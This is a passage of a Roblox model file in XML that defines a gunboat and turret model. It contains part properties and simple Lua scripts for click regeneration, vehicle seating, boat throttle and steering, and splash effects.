						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX1535">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX1536">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX1537">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX1538">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Turret</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX1539">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">50cal</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="IntValue" referent="RBX1540">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">PlaneCheck</string>
								<int name="Value">0</int>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX1541">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">21</int>
							<CoordinateFrame name="CFrame">
								<X>-1606.5</X>
								<Y>6.5999999</Y>
								<Z>50</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>-0</R10>
								<R11>-1</R11>
								<R12>-0</R12>
								<R20>-0</R20>
								<R21>-0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.000119591765</X>
								<Y>-1.06147667e-007</Y>
								<Z>-1.84821693e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-4.45427077e-006</X>
								<Y>0.000928452064</Y>
								<Z>-0.000182880831</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>5</X>
								<Y>1.20000005</Y>
								<Z>10</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX1542">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">GunBoat</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX1543">
						<Properties>
							<bool name="Archivable">true</bool>
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								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>-0.000119591765</X>
									<Y>-1.06147667e-007</Y>
									<Z>-1.84821693e-006</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-1.47152286e-006</X>
									<Y>0.00108473701</Y>
									<Z>-0.000384860032</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
									<Z>6</Z>
								</Vector3>
							</Properties>
							<Item class="SpecialMesh" referent="RBX1579">
								<Properties>
									<bool name="Archivable">true</bool>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<Content name="MeshId"><null></null></Content>
									<token name="MeshType">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Content name="TextureId"><null></null></Content>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX1580">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">199</int>
								<CoordinateFrame name="CFrame">
									<X>-1587.5</X>
									<Y>8.5</Y>
									<Z>50</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>1</R02>
									<R10>-0</R10>
									<R11>1</R11>
									<R12>-0</R12>
									<R20>-1</R20>
									<R21>0</R21>
									<R22>-0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>-0.000119591765</X>
									<Y>-1.06147667e-007</Y>
									<Z>-1.84821693e-006</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-9.42658517e-007</X>
									<Y>0.000893335964</Y>
									<Z>-0.00040808841</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>2</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="SpecialMesh" referent="RBX1581">
								<Properties>
									<bool name="Archivable">true</bool>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<Content name="MeshId"><null></null></Content>
									<token name="MeshType">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Content name="TextureId"><null></null></Content>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX1582">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">21</int>
								<CoordinateFrame name="CFrame">
									<X>-1586.5</X>
									<Y>7.5</Y>
									<Z>50</Z>
									<R00>0</R00>
									<R01>1</R01>
									<R02>0</R02>
									<R10>-0</R10>
									<R11>-0</R11>
									<R12>-1</R12>
									<R20>-1</R20>
									<R21>-0</R21>
									<R22>-0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">2</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">2</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>-0.000119591765</X>
									<Y>-1.06147667e-007</Y>
									<Z>-1.84821693e-006</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-2.79087544e-006</X>
									<Y>0.000891487754</Y>
									<Z>-0.000288390496</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>4</X>
									<Y>1</Y>
									<Z>3</Z>
								</Vector3>
							</Properties>
							<Item class="SpecialMesh" referent="RBX1583">
								<Properties>
									<bool name="Archivable">true</bool>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<Content name="MeshId"><null></null></Content>
									<token name="MeshType">1</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Content name="TextureId"><null></null></Content>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX1584">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">199</int>
								<CoordinateFrame name="CFrame">
									<X>-1613.80005</X>
									<Y>0.5</Y>
									<Z>50</Z>
									<R00>0</R00>
									<R01>-1</R01>
									<R02>0</R02>
									<R10>1</R10>
									<R11>0</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">2</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>-0.000119591765</X>
									<Y>-1.06147667e-007</Y>
									<Z>-1.84821693e-006</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-1.57283939e-005</X>
									<Y>0.000941944134</Y>
									<Z>0.00054585404</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="SpecialMesh" referent="RBX1585">
								<Properties>
									<bool name="Archivable">true</bool>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<Content name="MeshId"><null></null></Content>
									<token name="MeshType">0</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1.5</X>
										<Y>2</Y>
										<Z>1.5</Z>
									</Vector3>
									<Content name="TextureId"><null></null></Content>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX1586">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">1003</int>
								<CoordinateFrame name="CFrame">
									<X>-1614.5</X>
									<Y>0.5</Y>
									<Z>50</Z>
									<R00>0</R00>
									<R01>-1</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>0</R11>
									<R12>-1</R12>
									<R20>1</R20>
									<R21>0</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0</float>
								<token name="FormFactor">2</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">2</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">2</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>-0.000119591765</X>
									<Y>-1.06147667e-007</Y>
									<Z>-1.84821693e-006</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0.400000006</float>
								<Vector3 name="Velocity">
									<X>-1.57283939e-005</X>
									<Y>0.000943237799</Y>
									<Z>0.000545779767</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>0.400000006</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="CylinderMesh" referent="RBX1587">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>-0.25</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>4.5</X>
										<Y>0</Y>
										<Z>4.5</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX1588">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">21</int>
								<CoordinateFrame name="CFrame">
									<X>-1612.5</X>
									<Y>7</Y>
									<Z>47</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>-1</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>1</R20>
									<R21>0</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">2</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">2</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>-0.000119591765</X>
									<Y>-1.06147667e-007</Y>
									<Z>-1.84821693e-006</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-3.39654071e-006</X>
									<Y>0.000580766122</Y>
									<Z>-0.000231354425</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>4</X>
									<Y>2</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="BlockMesh" referent="RBX1589">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Script" referent="RBX1590">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">ParentScript</string>
							<ProtectedString name="Source">seat = script.Parent.VehicleSeat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent = parent
				script.Parent.Base.Anchored = false
			end
		end
	end
end

seat.ChildAdded:connect(onChildAdded)
</ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1591">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">true</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
RTurn = false
LTurn = false
MoveR = false
MoveF = false
NotMoving = true 
engine = script.Parent.Base
position = engine.Velocity
bin.Base.BG.cframe = bin.Base.CFrame

function DirChng()
if VS.Steer == 1 then 
	RTurn = true
		while RTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, -VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == -1 then 
	LTurn = true 
		while LTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == 0 then 
	RTurn = false
	LTurn = false 
end
end
end
end

VS.Changed:connect(DirChng)
</ProtectedString>
						</Properties>
					</Item>
					<Item class="VehicleSeat" referent="RBX1592">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-1589</X>
								<Y>6.5</Y>
								<Z>50</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<bool name="HeadsUpDisplay">true</bool>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<float name="MaxSpeed">0</float>
							<string name="Name">VehicleSeat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.000119591765</X>
								<Y>-1.06147667e-007</Y>
								<Z>-1.84821693e-006</Z>
							</Vector3>
							<int name="Steer">0</int>
							<int name="Throttle">0</int>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Torque">1</float>
							<float name="Transparency">0</float>
							<float name="TurnSpeed">0</float>
							<Vector3 name="Velocity">
								<X>-4.63909237e-006</X>
								<Y>0.000896108279</Y>
								<Z>-0.000169064078</Z>
							</Vector3>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX1593">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>-0.300000012</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>0.400000006</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX1594">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">BoatScript</string>
							<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
engine = script.Parent.Base
position = engine.Velocity

function SplashF()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,-16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

function SplashB()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

while true do

---------------------------------Throttle

	if VS.Throttle == 1 then
		if VS.MaxSpeed &lt; 41 then
			VS.MaxSpeed = VS.MaxSpeed + VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == -1 then
		if VS.MaxSpeed &gt; -25 then
			VS.MaxSpeed = VS.MaxSpeed - VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == 0 then
		if VS.MaxSpeed &gt;= 1 then
			--VS.MaxSpeed = VS.MaxSpeed - VS.Torque
			SplashF()
		elseif VS.MaxSpeed &lt;= -1 then
			--VS.MaxSpeed = VS.MaxSpeed + VS.Torque
			SplashB()
		end
	end

---------------------------------Steering

	if VS.Steer == 1 then 
		if VS.TurnSpeed &gt; -0.14 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
	elseif VS.Steer == -1 then 
		if VS.TurnSpeed &lt; 0.14 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		end
	elseif VS.Steer == 0 then 
		if VS.TurnSpeed &lt; 0 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		elseif VS.TurnSpeed &gt; 0 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
		if VS.TurnSpeed &lt;= 0.2 and VS.TurnSpeed &gt;= -0.2 then
			VS.TurnSpeed = 0
		end
	end

---------------------------------Application

	bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
	bin.Base.BV.velocity = bin.Base.CFrame.lookVector * VS.MaxSpeed

	wait(0.2)
end

--(C) 2009 Terran Research Commission
</ProtectedString>
						</Properties>
						<Item class="Script" referent="RBX1595">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">true</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">WaterScript</string>
								<ProtectedString name="Source">wait(0.2)
script.Parent.Transparency = 0.5
script.Parent.Mesh.Scale = Vector3.new(       18,	3.8,	22	)
wait(0.2)
script.Parent.Transparency = 0.6
script.Parent.Mesh.Scale = Vector3.new(       22,	3.6,	28	)
wait(0.2)
script.Parent.Transparency = 0.7
script.Parent.Mesh.Scale = Vector3.new(       26,	3.4,	34	)
wait(0.2)
script.Parent.Transparency = 0.8
script.Parent.Mesh.Scale = Vector3.new(       30,	3.2,	40	)
wait(0.2)
script.Parent.Transparency = 0.9
script.Parent.Mesh.Scale = Vector3.new(       34,	3,	46	)
wait(0.2)
script.Parent:remove()
</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX1596">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
